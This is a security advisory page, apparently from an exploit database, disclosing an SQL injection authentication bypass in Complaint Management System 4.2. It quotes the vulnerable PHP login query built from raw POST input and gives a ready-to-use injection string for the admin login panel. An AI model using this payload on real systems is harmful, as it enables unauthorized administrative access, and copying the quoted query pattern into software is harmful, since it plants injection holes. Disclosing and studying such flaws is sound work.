Complaint Management System 4.2 SQL Injection

2020.04.26
Credit: Besim Altinok
Risk: Medium
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-89

# Exploit Title: Complaint Management System 4.2 - Authentication Bypass # Author: Besim ALTINOK # Vendor Homepage: https://phpgurukul.com/ # Software Link: https://phpgurukul.com/complaint-management-sytem/ # Version: v4.2 # Tested on: Xampp # Credit: ─░smail BOZKURT ------ Details: 1- Vulnerable code is here: if(isset($_POST['submit'])) { $username=$_POST['username']; $password=md5($_POST['password']); $ret=mysqli_query($con,"SELECT * FROM admin WHERE username='$username' and password='$password'"); $num=mysqli_fetch_array($ret); if($num>0) { $extra="change-password.php";// $_SESSION['alogin']=$_POST['username']; $_SESSION['id']=$num['id']; $host=$_SERVER['HTTP_HOST']; $uri=rtrim(dirname($_SERVER['PHP_SELF']),'/\\'); header("location:http://$host$uri/$extra"); exit(); } 2- We can bypass authentication with SQLi: Bypass code (admin login panel): Username: pentester' or'1'=1# Password : pentester' or'1'=1# Finally: There is a lot of SQLi input in this project. Like, login, registration, forgot password ... -----------------------------------


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2020, cxsecurity.com

 

Back to Top